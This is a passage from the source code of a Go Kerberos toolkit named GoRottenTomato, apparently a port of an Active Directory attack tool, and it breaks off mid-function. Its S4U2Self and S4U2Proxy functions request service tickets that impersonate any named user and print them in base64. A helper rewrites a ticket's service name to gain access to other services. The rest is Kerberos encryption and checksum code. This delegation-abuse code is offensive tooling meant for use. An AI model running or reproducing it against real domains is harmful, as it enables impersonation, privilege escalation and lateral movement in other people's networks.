| KDC_ERR_BADOPTION: "KDC_ERR_BADOPTION KDC cannot accommodate requested option", 38 | KDC_ERR_ETYPE_NOTSUPP: "KDC has no support for encryption type", 39 | KDC_ERR_PADATA_TYPE_NOSUPP: "KDC_ERR_PADATA_TYPE_NOSUPP KDC has no support for PADATA type", 40 | KDC_ERR_PREAUTH_FAILED: "KDC_ERR_PREAUTH_FAILED Pre-authentication information was invalid", 41 | KDC_ERR_PREAUTH_REQUIRED: "KDC_ERR_PREAUTH_REQUIRED Additional pre-authentication required", 42 | KRB_AP_ERR_BAD_INTEGRITY: "KRB_AP_ERR_BAD_INTEGRITY Integrity check on decrypted field failed", 43 | KRB_AP_ERR_TKT_EXPIRED: "KRB_AP_ERR_TKT_EXPIRED The ticket has expired", 44 | KRB_AP_ERR_TKT_NYV: "KRB_AP_ERR_TKT_NYV The ticket is not yet valid", 45 | KRB_AP_ERR_BADMATCH: "KRB_AP_ERR_BADMATCH The ticket and authenticator do not match", 46 | KRB_AP_ERR_SKEW: "KRB_AP_ERR_SKEW The clock skew is too great", 47 | KRB_AP_ERR_MODIFIED: "KRB_AP_ERR_MODIFIED Message stream modified and checksum didn't match", 48 | KRB_ERR_GENERIC: "KRB_ERR_GENERIC Generic error; the description is in the e-data field", 49 | KDC_ERR_WRONG_REALM: "KDC_ERR_WRONG_REALM KDC_ERR_WRONG_REALM Reserved for future use", 50 | } -------------------------------------------------------------------------------- /krb5/S4U2/S4U2Proxy.go: -------------------------------------------------------------------------------- 1 | package S4U2 2 | 3 | import ( 4 | "GoRottenTomato/krb5/AskTGS" 5 | "GoRottenTomato/krb5/flags" 6 | "GoRottenTomato/krb5/procedure" 7 | "GoRottenTomato/krb5/types" 8 | "encoding/base64" 9 | "fmt" 10 | "time" 11 | ) 12 | 13 | func S4U2Proxy(tgt, tgs procedure.KRB_CRED, dcIP string, spn types.PrincipalName) (procedure.KRB_CRED, error) { 14 | fmt.Printf("[*]Starting S4U2Proxy\n") 15 | fmt.Printf("[*]Building PA-PAC-OPTIONS\n") 16 | var cred procedure.KRB_CRED 17 | papacoptions := types.NewPaPacOptions(3) 18 | data, err := papacoptions.Marshal() 19 | if err != nil { 20 | return cred, fmt.Errorf("S4U2Proxy Error %v", err) 21 | } 22 | papacdata := types.PA_DATA{ 23 | Padata_Type: flags.PA_PAC_OPTIONS, 24 | Padata_Value: data, 25 | } 26 | 27 | kflags := types.GetKerberosFlags(flags.Forwardable, flags.Renewable, flags.CONSTRAINED_DELEGATION, flags.Renewable_OK) 28 | ntgs := procedure.NewTGSREQ(kflags, tgt.Tickets[0].Realm, tgt.DecEncPart.Ticket_Info[0].PName, spn, tgt.DecEncPart.Ticket_Info[0].StartTime.Add(time.Hour * 24 * 7)) 29 | ntgs.Req_Body.Additional_Tickets = tgs.Tickets 30 | ntgs.SetPAData(tgt.Tickets[0], tgt.DecEncPart.Ticket_Info[0].Key) 31 | ntgs.Padata = append(ntgs.Padata, papacdata) 32 | 33 | fmt.Printf("[*]Starting request S4U2Proxy\n") 34 | ntgsrep, err := AskTGS.AskTGS(*ntgs, dcIP, tgt.DecEncPart.Ticket_Info[0].Key) 35 | if err != nil { 36 | return cred, err 37 | } 38 | if !ntgsrep.Check(flags.TGSREP) { 39 | return cred, fmt.Errorf("asn tag check failed") 40 | } 41 | fmt.Printf("[+]S4U2proxy Sucessful!\n") 42 | ncred := ntgsrep.GetCRED() 43 | blob, err := ncred.Marshal() 44 | if err != nil { 45 | return cred, err 46 | } 47 | fmt.Printf("[+]Got a TGS for %s@%s to %s/%s\n", ncred.DecEncPart.Ticket_Info[0].PName.Name_String[0], ncred.DecEncPart.Ticket_Info[0].PRealm, ncred.Tickets[0].SName.Name_String[0], ncred.Tickets[0].SName.Name_String[1]) 48 | fmt.Printf("[*]Base64 S4U2Proxy TGS:\n\n%s\n\n", base64.StdEncoding.EncodeToString(blob)) 49 | return *ncred, nil 50 | } 51 | -------------------------------------------------------------------------------- /krb5/S4U2/S4U2Self.go: -------------------------------------------------------------------------------- 1 | package S4U2 2 | 3 | import ( 4 | "GoRottenTomato/krb5/AskTGS" 5 | "GoRottenTomato/krb5/crypto" 6 | "GoRottenTomato/krb5/flags" 7 | "GoRottenTomato/krb5/procedure" 8 | "GoRottenTomato/krb5/types" 9 | "encoding/base64" 10 | "fmt" 11 | "time" 12 | ) 13 | 14 | func S4U2Self(dcIP, impersonate string, altservice []string, tgt procedure.KRB_CRED) ([]procedure.KRB_CRED, error) { 15 | fmt.Printf("[*]Starting S4U2Self\n") 16 | var creds []procedure.KRB_CRED 17 | kflags := types.GetKerberosFlags(flags.Renewable, flags.Renewable_OK, flags.Forwardable, flags.Enc_TKT_In_Skey) 18 | till := time.Now().UTC().Add(time.Minute * 15) 19 | 20 | fmt.Printf("[*]Building TGS-REQ for %s/%s\n", tgt.DecEncPart.Ticket_Info[0].PName.Name_String[0], tgt.DecEncPart.Ticket_Info[0].PRealm) 21 | tgs := procedure.NewTGSREQ(kflags, tgt.Tickets[0].Realm, tgt.DecEncPart.Ticket_Info[0].PName, tgt.DecEncPart.Ticket_Info[0].PName, till) 22 | err := tgs.SetPAData(tgt.Tickets[0], tgt.DecEncPart.Ticket_Info[0].Key) 23 | if err != nil { 24 | return creds, err 25 | } 26 | 27 | fmt.Printf("[*]Building PA-FOR-USER for %s\n", impersonate) 28 | pauser := types.PrincipalName{ 29 | Name_Type: flags.KRB5_NT_ENTERPRISE_PRINCIPAL, 30 | Name_String: []string{impersonate}, 31 | } 32 | paforuser := types.NewPAFORUSER(pauser, tgt.Tickets[0].Realm) 33 | S4UByteArray := paforuser.GetS4UByteArray() 34 | eType := crypto.GetEType(tgt.DecEncPart.Ticket_Info[0].Key.KeyType) 35 | check, err := eType.GetChecksumHash(tgt.DecEncPart.Ticket_Info[0].Key.KeyValue, S4UByteArray, 17) 36 | if err != nil { 37 | return creds, err 38 | } 39 | paforuser.Cksum = types.Checksum{ 40 | CksumType: flags.KERB_CHECKSUM_HMAC_MD5, 41 | Checksum: check, 42 | } 43 | mpaforuser, err := paforuser.Marshal() 44 | if err != nil { 45 | return creds, err 46 | } 47 | 48 | padata := types.PA_DATA{ 49 | Padata_Type: flags.PA_FOR_USER, 50 | Padata_Value: mpaforuser, 51 | } 52 | tgs.Padata = append(tgs.Padata, padata) 53 | 54 | fmt.Printf("[*]Starting request S4U2Self\n") 55 | tgsrep, err := AskTGS.AskTGS(*tgs, dcIP, tgt.DecEncPart.Ticket_Info[0].Key) 56 | if err != nil { 57 | return creds, err 58 | } 59 | 60 | if !tgsrep.Check(flags.TGSREP) { 61 | return creds, fmt.Errorf("asn tag check failed") 62 | } 63 | fmt.Printf("[+]S4u2Self Sucessful!\n") 64 | 65 | cred := *tgsrep.GetCRED() 66 | if altservice != nil { 67 | elder := getspn(cred.Tickets[0].SName.Name_String[0], cred.Tickets[0].Realm) 68 | return getCreds(cred, altservice, elder), nil 69 | } 70 | 71 | blob, err := cred.Marshal() 72 | if err != nil { 73 | return creds, err 74 | } 75 | fmt.Printf("[+]Got a TGS for %s@%s to %s@%s\n", cred.DecEncPart.Ticket_Info[0].PName.Name_String[0], cred.DecEncPart.Ticket_Info[0].PRealm, cred.Tickets[0].SName.Name_String[0], cred.Tickets[0].Realm) 76 | fmt.Printf("[+]Base64 S4U2Self TGS \n\n%s\n\n", base64.StdEncoding.EncodeToString(blob)) 77 | creds = append(creds, cred) 78 | return creds, nil 79 | } 80 | 81 | func getCreds(cred procedure.KRB_CRED, altservice []string, elder string) (creds []procedure.KRB_CRED) { 82 | for _, service := range altservice{ 83 | cred.Tickets[0].SName.Name_String = []string{service, elder} 84 | cred.DecEncPart.Ticket_Info[0].SName.Name_String = []string{service, elder} 85 | 86 | blob, err := cred.Marshal() 87 | if err != nil { 88 | fmt.Printf("[-]Alter %s to %s Failed!\n", elder, service) 89 | continue 90 | } 91 | creds = append(creds, cred) 92 | fmt.Printf("[+]Alter %s to %s/%s Sucessful!\n", cred.DecEncPart.Ticket_Info[0].PName.Name_String[0], cred.Tickets[0].SName.Name_String[0], cred.Tickets[0].SName.Name_String[1]) 93 | fmt.Printf("[+]Got a TGS for %s@%s to %s@%s\n", cred.DecEncPart.Ticket_Info[0].PName.Name_String[0], cred.DecEncPart.Ticket_Info[0].PRealm, cred.Tickets[0].SName.Name_String[1], cred.Tickets[0].Realm) 94 | fmt.Printf("[+]Base64 S4U2Self TGS \n\n%s\n\n", base64.StdEncoding.EncodeToString(blob)) 95 | } 96 | return creds 97 | } 98 | 99 | func getspn(mname, dname string) string { 100 | if mname[len(mname)-1:] == "$" { 101 | return fmt.Sprintf("%s.%s", mname[:len(mname)-1], dname) 102 | } 103 | return fmt.Sprintf("%s.%s", mname, dname) 104 | } -------------------------------------------------------------------------------- /krb5/ccache/ccache.go: -------------------------------------------------------------------------------- 1 | package ccache 2 | 3 | import ( 4 | "GoRottenTomato/asn1" 5 | "GoRottenTomato/krb5/types" 6 | "time" 7 | ) 8 | 9 | type principal struct { 10 | Realm string 11 | PrincipalName types.PrincipalName 12 | } 13 | 14 | type Credential struct { 15 | Client principal 16 | Server principal 17 | Key types.EncryptionKey 18 | AuthTime time.Time 19 | StartTime time.Time 20 | EndTime time.Time 21 | RenewTill time.Time 22 | IsSKey bool 23 | TicketFlags asn1.BitString 24 | Addresses []types.HostAddress 25 | AuthData []types.AuthorizationDataEntry 26 | Ticket []byte 27 | SecondTicket []byte 28 | } 29 | 30 | type headerField struct { 31 | tag uint16 32 | length uint16 33 | value []byte 34 | } 35 | 36 | type header struct { 37 | length uint16 38 | fields []headerField 39 | } 40 | 41 | type CCache struct { 42 | Version uint8 43 | Header header 44 | DefaultPrincipal principal 45 | Credentials []*Credential 46 | Path string 47 | } -------------------------------------------------------------------------------- /krb5/crypto/aes128.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/common" 5 | "GoRottenTomato/krb5/crypto/rfc3961" 6 | "GoRottenTomato/krb5/crypto/rfc3962" 7 | "GoRottenTomato/krb5/flags" 8 | "crypto/aes" 9 | "crypto/hmac" 10 | "crypto/sha1" 11 | "hash" 12 | ) 13 | 14 | type AES128 struct { 15 | } 16 | 17 | // GetETypeID returns the EType ID number. 18 | func (e AES128)GetETypeID() int32 { 19 | return flags.AES_128_CTS_HMAC_SHA1 20 | } 21 | 22 | // GetHashID returns the checksum type ID number. 23 | func (e AES128)GetHashID() int32 { 24 | return flags.HMAC_SHA1_96_AES128 25 | } 26 | 27 | // GetKeyByteSize returns the number of bytes for key of this etype. 28 | func (e AES128)GetKeyByteSize() int { 29 | return 128 / 8 30 | } 31 | 32 | // GetKeySeedBitLength returns the number of bits for the seed for key generation. 33 | func (e AES128)GetKeySeedBitLength() int { 34 | return e.GetKeyByteSize() * 8 35 | } 36 | 37 | // GetHashFunc returns the hash function for this etype. 38 | func (e AES128)GetHashFunc() func() hash.Hash { 39 | return sha1.New 40 | } 41 | 42 | // GetMessageBlockByteSize returns the block size for the etype's messages. 43 | func (e AES128)GetMessageBlockByteSize() int { 44 | return 1 45 | } 46 | 47 | // GetDefaultStringToKeyParams returns the default key derivation parameters in string form. 48 | func (e AES128)GetDefaultStringToKeyParams() string { 49 | return "00001000" 50 | } 51 | 52 | // GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations. 53 | func (e AES128)GetConfounderByteSize() int { 54 | return aes.BlockSize 55 | } 56 | 57 | // GetHMACBitLength returns the bit count size of the integrity hash. 58 | func (e AES128)GetHMACBitLength() int { 59 | return 96 60 | } 61 | 62 | // GetCypherBlockBitLength returns the bit count size of the cypher block. 63 | func (e AES128)GetCypherBlockBitLength() int { 64 | return aes.BlockSize * 8 65 | } 66 | 67 | // StringToKey returns a key derived from the string provided. 68 | func (e AES128)StringToKey(secret string, salt string, s2kparams string) ([]byte, error) { 69 | return rfc3962.StringToKey(secret, salt, s2kparams, e) 70 | } 71 | 72 | // RandomToKey returns a key from the bytes provided. 73 | func (e AES128)RandomToKey(b []byte) []byte { 74 | return rfc3961.RandomToKey(b) 75 | } 76 | 77 | // EncryptData encrypts the data provided. 78 | func (e AES128)EncryptData(key, data []byte) ([]byte, []byte, error) { 79 | return rfc3962.EncryptData(key, data, e) 80 | } 81 | 82 | // EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message. 83 | func (e AES128)EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) { 84 | return rfc3962.EncryptMessage(key, message, usage, e) 85 | } 86 | 87 | // DecryptData decrypts the data provided. 88 | func (e AES128)DecryptData(key, data []byte) ([]byte, error) { 89 | return rfc3962.DecryptData(key, data, e) 90 | } 91 | 92 | // DecryptMessage decrypts the message provided and verifies the integrity of the message. 93 | func (e AES128)DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) { 94 | return rfc3962.DecryptMessage(key, ciphertext, usage, e) 95 | } 96 | 97 | // DeriveKey derives a key from the protocol key based on the usage value. 98 | func (e AES128)DeriveKey(protocolKey, usage []byte) ([]byte, error) { 99 | return rfc3961.DeriveKey(protocolKey, usage, e) 100 | } 101 | 102 | // DeriveRandom generates data needed for key generation. 103 | func (e AES128)DeriveRandom(protocolKey, usage []byte) ([]byte, error) { 104 | return rfc3961.DeriveRandom(protocolKey, usage, e) 105 | } 106 | 107 | // VerifyIntegrity checks the integrity of the plaintext message. 108 | func (e AES128)VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool { 109 | return rfc3961.VerifyIntegrity(protocolKey, ct, pt, usage, e) 110 | } 111 | 112 | // GetChecksumHash returns a keyed checksum hash of the bytes provided. 113 | func (e AES128)GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) { 114 | return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e) 115 | } 116 | 117 | // VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided. 118 | func (e AES128)VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool { 119 | c, err := e.GetChecksumHash(protocolKey, data, usage) 120 | if err != nil { 121 | return false 122 | } 123 | return hmac.Equal(chksum, c) 124 | } 125 | -------------------------------------------------------------------------------- /krb5/crypto/aes256.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/common" 5 | "GoRottenTomato/krb5/crypto/rfc3961" 6 | "GoRottenTomato/krb5/crypto/rfc3962" 7 | "GoRottenTomato/krb5/flags" 8 | "crypto/aes" 9 | "crypto/hmac" 10 | "crypto/sha1" 11 | "hash" 12 | ) 13 | 14 | type AES256 struct { 15 | } 16 | 17 | func (e AES256)GetETypeID() int32 { 18 | return flags.AES_256_CTS_HMAC_SHA1 19 | } 20 | 21 | // GetHashID returns the checksum type ID number. 22 | func (e AES256)GetHashID() int32 { 23 | return flags.HMAC_SHA1_96_AES256 24 | } 25 | 26 | // GetKeyByteSize returns the number of bytes for key of this etype. 27 | func (e AES256)GetKeyByteSize() int { 28 | return 256 / 8 29 | } 30 | 31 | // GetKeySeedBitLength returns the number of bits for the seed for key generation. 32 | func (e AES256)GetKeySeedBitLength() int { 33 | return e.GetKeyByteSize() * 8 34 | } 35 | 36 | // GetHashFunc returns the hash function for this etype. 37 | func (e AES256)GetHashFunc() func() hash.Hash { 38 | return sha1.New 39 | } 40 | 41 | // GetMessageBlockByteSize returns the block size for the etype's messages. 42 | func (e AES256)GetMessageBlockByteSize() int { 43 | return 1 44 | } 45 | 46 | // GetDefaultStringToKeyParams returns the default key derivation parameters in string form. 47 | func (e AES256)GetDefaultStringToKeyParams() string { 48 | return "00001000" 49 | } 50 | 51 | // GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations. 52 | func (e AES256)GetConfounderByteSize() int { 53 | return aes.BlockSize 54 | } 55 | 56 | // GetHMACBitLength returns the bit count size of the integrity hash. 57 | func (e AES256)GetHMACBitLength() int { 58 | return 96 59 | } 60 | 61 | // GetCypherBlockBitLength returns the bit count size of the cypher block. 62 | func (e AES256)GetCypherBlockBitLength() int { 63 | return aes.BlockSize * 8 64 | } 65 | 66 | // StringToKey returns a key derived from the string provided. 67 | func (e AES256)StringToKey(secret string, salt string, s2kparams string) ([]byte, error) { 68 | return rfc3962.StringToKey(secret, salt, s2kparams, e) 69 | } 70 | 71 | // RandomToKey returns a key from the bytes provided. 72 | func (e AES256)RandomToKey(b []byte) []byte { 73 | return rfc3961.RandomToKey(b) 74 | } 75 | 76 | // EncryptData encrypts the data provided. 77 | func (e AES256)EncryptData(key, data []byte) ([]byte, []byte, error) { 78 | return rfc3962.EncryptData(key, data, e) 79 | } 80 | 81 | // EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message. 82 | func (e AES256)EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) { 83 | return rfc3962.EncryptMessage(key, message, usage, e) 84 | } 85 | 86 | // DecryptData decrypts the data provided. 87 | func (e AES256)DecryptData(key, data []byte) ([]byte, error) { 88 | return rfc3962.DecryptData(key, data, e) 89 | } 90 | 91 | // DecryptMessage decrypts the message provided and verifies the integrity of the message. 92 | func (e AES256)DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) { 93 | return rfc3962.DecryptMessage(key, ciphertext, usage, e) 94 | } 95 | 96 | // DeriveKey derives a key from the protocol key based on the usage value. 97 | func (e AES256)DeriveKey(protocolKey, usage []byte) ([]byte, error) { 98 | return rfc3961.DeriveKey(protocolKey, usage, e) 99 | } 100 | 101 | // DeriveRandom generates data needed for key generation. 102 | func (e AES256)DeriveRandom(protocolKey, usage []byte) ([]byte, error) { 103 | return rfc3961.DeriveRandom(protocolKey, usage, e) 104 | } 105 | 106 | // VerifyIntegrity checks the integrity of the plaintext message. 107 | func (e AES256)VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool { 108 | return rfc3961.VerifyIntegrity(protocolKey, ct, pt, usage, e) 109 | } 110 | 111 | // GetChecksumHash returns a keyed checksum hash of the bytes provided. 112 | func (e AES256)GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) { 113 | return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e) 114 | } 115 | 116 | // VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided. 117 | func (e AES256)VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool { 118 | c, err := e.GetChecksumHash(protocolKey, data, usage) 119 | if err != nil { 120 | return false 121 | } 122 | return hmac.Equal(chksum, c) 123 | } -------------------------------------------------------------------------------- /krb5/crypto/aescts/aescts.go: -------------------------------------------------------------------------------- 1 | package aescts 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "errors" 7 | "fmt" 8 | ) 9 | 10 | func Encrypt(key, iv, plaintext []byte) ([]byte, []byte, error) { 11 | l := len(plaintext) 12 | 13 | block, err := aes.NewCipher(key) 14 | if err != nil { 15 | return []byte{}, []byte{}, fmt.Errorf("Error creating cipher: %v", err) 16 | } 17 | mode := cipher.NewCBCEncrypter(block, iv) 18 | 19 | m := make([]byte, len(plaintext)) 20 | copy(m, plaintext) 21 | 22 | if l <= aes.BlockSize { 23 | m, _ = zeroPad(m, aes.BlockSize) 24 | mode.CryptBlocks(m, m) 25 | return m, m, nil 26 | } 27 | if l%aes.BlockSize == 0 { 28 | mode.CryptBlocks(m, m) 29 | iv = m[len(m)-aes.BlockSize:] 30 | rb, _ := swapLastTwoBlocks(m, aes.BlockSize) 31 | return iv, rb, nil 32 | } 33 | m, _ = zeroPad(m, aes.BlockSize) 34 | rb, pb, lb, err := tailBlocks(m, aes.BlockSize) 35 | if err != nil { 36 | return []byte{}, []byte{}, fmt.Errorf("Error tailing blocks: %v", err) 37 | } 38 | var ct []byte 39 | if rb != nil { 40 | mode.CryptBlocks(rb, rb) 41 | iv = rb[len(rb)-aes.BlockSize:] 42 | mode = cipher.NewCBCEncrypter(block, iv) 43 | ct = append(ct, rb...) 44 | } 45 | mode.CryptBlocks(pb, pb) 46 | mode = cipher.NewCBCEncrypter(block, pb) 47 | mode.CryptBlocks(lb, lb) 48 | ct = append(ct, lb...) 49 | ct = append(ct, pb...) 50 | return lb, ct[:l], nil 51 | } 52 | 53 | func Decrypt(key, iv, ciphertext []byte) ([]byte, error) { 54 | ct := make([]byte, len(ciphertext)) 55 | copy(ct, ciphertext) 56 | if len(ct) < aes.BlockSize { 57 | return []byte{}, fmt.Errorf("Ciphertext is not large enough. It is less that one block size. Blocksize:%v; Ciphertext:%v", aes.BlockSize, len(ct)) 58 | } 59 | block, err := aes.NewCipher(key) 60 | if err != nil { 61 | return nil, fmt.Errorf("Error creating cipher: %v", err) 62 | } 63 | var mode cipher.BlockMode 64 | 65 | if len(ct)%aes.BlockSize == 0 { 66 | if len(ct) > aes.BlockSize { 67 | ct, _ = swapLastTwoBlocks(ct, aes.BlockSize) 68 | } 69 | mode = cipher.NewCBCDecrypter(block, iv) 70 | message := make([]byte, len(ct)) 71 | mode.CryptBlocks(message, ct) 72 | return message[:len(ct)], nil 73 | } 74 | 75 | crb, cpb, clb, _ := tailBlocks(ct, aes.BlockSize) 76 | v := make([]byte, len(iv), len(iv)) 77 | copy(v, iv) 78 | var message []byte 79 | if crb != nil { 80 | rb := make([]byte, len(crb)) 81 | mode = cipher.NewCBCDecrypter(block, v) 82 | v = crb[len(crb)-aes.BlockSize:] 83 | mode.CryptBlocks(rb, crb) 84 | message = append(message, rb...) 85 | } 86 | 87 | pb := make([]byte, aes.BlockSize) 88 | mode = cipher.NewCBCDecrypter(block, iv) 89 | mode.CryptBlocks(pb, cpb) 90 | npb := aes.BlockSize - len(ct)%aes.BlockSize 91 | clb = append(clb, pb[len(pb)-npb:]...) 92 | 93 | lb := make([]byte, aes.BlockSize) 94 | mode = cipher.NewCBCDecrypter(block, v) 95 | v = clb 96 | mode.CryptBlocks(lb, clb) 97 | message = append(message, lb...) 98 | 99 | mode = cipher.NewCBCDecrypter(block, v) 100 | mode.CryptBlocks(cpb, cpb) 101 | message = append(message, cpb...) 102 | 103 | return message[:len(ct)], nil 104 | } 105 | 106 | func tailBlocks(b []byte, c int) ([]byte, []byte, []byte, error) { 107 | if len(b) <= c { 108 | return []byte{}, []byte{}, []byte{}, errors.New("bytes slice is not larger than one block so cannot tail") 109 | } 110 | var lbs int 111 | if l := len(b) % aes.BlockSize; l == 0 { 112 | lbs = aes.BlockSize 113 | } else { 114 | lbs = l 115 | } 116 | lb := b[len(b)-lbs:] 117 | pb := b[len(b)-lbs-c : len(b)-lbs] 118 | if len(b) > 2*c { 119 | rb := b[:len(b)-lbs-c] 120 | return rb, pb, lb, nil 121 | } 122 | return nil, pb, lb, nil 123 | } 124 | 125 | func swapLastTwoBlocks(b []byte, c int) ([]byte, error) { 126 | rb, pb, lb, err := tailBlocks(b, c) 127 | if err != nil { 128 | return nil, err 129 | } 130 | var out []byte 131 | if rb != nil { 132 | out = append(out, rb...) 133 | } 134 | out = append(out, lb...) 135 | out = append(out, pb...) 136 | return out, nil 137 | } 138 | 139 | func zeroPad(b []byte, m int) ([]byte, error) { 140 | if m <= 0 { 141 | return nil, errors.New("Invalid message block size when padding") 142 | } 143 | if b == nil || len(b) == 0 { 144 | return nil, errors.New("Data not valid to pad: Zero size") 145 | } 146 | if l := len(b) % m; l != 0 { 147 | n := m - l 148 | z := make([]byte, n) 149 | b = append(b, z...) 150 | } 151 | return b, nil 152 | } 153 | -------------------------------------------------------------------------------- /krb5/crypto/common/common.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/etype" 5 | "bytes" 6 | "crypto/hmac" 7 | "encoding/binary" 8 | "encoding/hex" 9 | "errors" 10 | "fmt" 11 | ) 12 | 13 | //From https://github.com/jcmturner/gokrb5/blob/master/crypto/common 14 | 15 | // ZeroPad pads bytes with zeros to nearest multiple of message size m. 16 | func ZeroPad(b []byte, m int) ([]byte, error) { 17 | if m <= 0 { 18 | return nil, errors.New("Invalid message block size when padding") 19 | } 20 | if b == nil || len(b) == 0 { 21 | return nil, errors.New("Data not valid to pad: Zero size") 22 | } 23 | if l := len(b) % m; l != 0 { 24 | n := m - l 25 | z := make([]byte, n) 26 | b = append(b, z...) 27 | } 28 | return b, nil 29 | } 30 | 31 | // PKCS7Pad pads bytes according to RFC 2315 to nearest multiple of message size m. 32 | func PKCS7Pad(b []byte, m int) ([]byte, error) { 33 | if m <= 0 { 34 | return nil, errors.New("Invalid message block size when padding") 35 | } 36 | if b == nil || len(b) == 0 { 37 | return nil, errors.New("Data not valid to pad: Zero size") 38 | } 39 | n := m - (len(b) % m) 40 | pb := make([]byte, len(b)+n) 41 | copy(pb, b) 42 | copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n)) 43 | return pb, nil 44 | } 45 | 46 | // PKCS7Unpad removes RFC 2315 padding from byes where message size is m. 47 | func PKCS7Unpad(b []byte, m int) ([]byte, error) { 48 | if m <= 0 { 49 | return nil, errors.New("invalid message block size when unpadding") 50 | } 51 | if b == nil || len(b) == 0 { 52 | return nil, errors.New("padded data not valid: Zero size") 53 | } 54 | if len(b)%m != 0 { 55 | return nil, errors.New("padded data not valid: Not multiple of message block size") 56 | } 57 | c := b[len(b)-1] 58 | n := int(c) 59 | if n == 0 || n > len(b) { 60 | return nil, errors.New("padded data not valid: Data may not have been padded") 61 | } 62 | for i := 0; i < n; i++ { 63 | if b[len(b)-n+i] != c { 64 | return nil, errors.New("padded data not valid") 65 | } 66 | } 67 | return b[:len(b)-n], nil 68 | } 69 | 70 | // GetHash generates the keyed hash value according to the etype's hash function. 71 | func GetHash(pt, key []byte, usage []byte, etype etype.EType) ([]byte, error) { 72 | k, err := etype.DeriveKey(key, usage) 73 | if err != nil { 74 | return nil, fmt.Errorf("unable to derive key for checksum: %v", err) 75 | } 76 | mac := hmac.New(etype.GetHashFunc(), k) 77 | p := make([]byte, len(pt)) 78 | copy(p, pt) 79 | mac.Write(p) 80 | return mac.Sum(nil)[:etype.GetHMACBitLength()/8], nil 81 | } 82 | 83 | // GetChecksumHash returns a keyed checksum hash of the bytes provided. 84 | func GetChecksumHash(b, key []byte, usage uint32, etype etype.EType) ([]byte, error) { 85 | return GetHash(b, key, GetUsageKc(usage), etype) 86 | } 87 | 88 | // GetIntegrityHash returns a keyed integrity hash of the bytes provided. 89 | func GetIntegrityHash(b, key []byte, usage uint32, etype etype.EType) ([]byte, error) { 90 | return GetHash(b, key, GetUsageKi(usage), etype) 91 | } 92 | 93 | // VerifyChecksum compares the checksum of the msg bytes is the same as the checksum provided. 94 | func VerifyChecksum(key, chksum, msg []byte, usage uint32, etype etype.EType) bool { 95 | //The encrypted message is a concatenation of the encrypted output and the hash HMAC. 96 | expectedMAC, _ := GetChecksumHash(msg, key, usage, etype) 97 | return hmac.Equal(chksum, expectedMAC) 98 | } 99 | 100 | // GetUsageKc returns the checksum key usage value for the usage number un. 101 | // 102 | // See RFC 3961 5.3 key-derivation function definition. 103 | func GetUsageKc(un uint32) []byte { 104 | return getUsage(un, 0x99) 105 | } 106 | 107 | // GetUsageKe returns the encryption key usage value for the usage number un 108 | // 109 | // See RFC 3961 5.3 key-derivation function definition. 110 | func GetUsageKe(un uint32) []byte { 111 | return getUsage(un, 0xAA) 112 | } 113 | 114 | // GetUsageKi returns the integrity key usage value for the usage number un 115 | // 116 | // See RFC 3961 5.3 key-derivation function definition. 117 | func GetUsageKi(un uint32) []byte { 118 | return getUsage(un, 0x55) 119 | } 120 | 121 | func getUsage(un uint32, o byte) []byte { 122 | var buf bytes.Buffer 123 | binary.Write(&buf, binary.BigEndian, un) 124 | return append(buf.Bytes(), o) 125 | } 126 | 127 | // IterationsToS2Kparams converts the number of iterations as an integer to a string representation. 128 | func IterationsToS2Kparams(i uint32) string { 129 | b := make([]byte, 4, 4) 130 | binary.BigEndian.PutUint32(b, i) 131 | return hex.EncodeToString(b) 132 | } -------------------------------------------------------------------------------- /krb5/crypto/etype/etype.go: -------------------------------------------------------------------------------- 1 | package etype 2 | 3 | import "hash" 4 | 5 | type EType interface { 6 | GetETypeID() int32 7 | GetHashID() int32 8 | GetKeyByteSize() int 9 | GetKeySeedBitLength() int 10 | GetDefaultStringToKeyParams() string 11 | StringToKey(string, salt, s2kparams string) ([]byte, error) 12 | RandomToKey(b []byte) []byte 13 | GetHMACBitLength() int 14 | GetMessageBlockByteSize() int 15 | EncryptData(key, data []byte) ([]byte, []byte, error) 16 | EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) 17 | DecryptData(key, data []byte) ([]byte, error) 18 | DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) 19 | GetCypherBlockBitLength() int 20 | GetConfounderByteSize() int 21 | DeriveKey(protocolKey, usage []byte) ([]byte, error) 22 | DeriveRandom(protocolKey, usage []byte) ([]byte, error) 23 | VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool 24 | GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) 25 | VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool 26 | GetHashFunc() func() hash.Hash 27 | } 28 | -------------------------------------------------------------------------------- /krb5/crypto/funcs.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "GoRottenTomato/krb5/crypto/etype" 5 | "GoRottenTomato/krb5/flags" 6 | "GoRottenTomato/krb5/types" 7 | "fmt" 8 | "unsafe" 9 | ) 10 | 11 | func GetEType(id int32) (etype.EType) { 12 | switch id { 13 | case flags.AES_128_CTS_HMAC_SHA1: 14 | var eType AES128 15 | return eType 16 | case flags.AES_256_CTS_HMAC_SHA1: 17 | var eType AES256 18 | return eType 19 | case flags.RC4_HMAC_MD5: 20 | var eType RC4_HMAC 21 | return 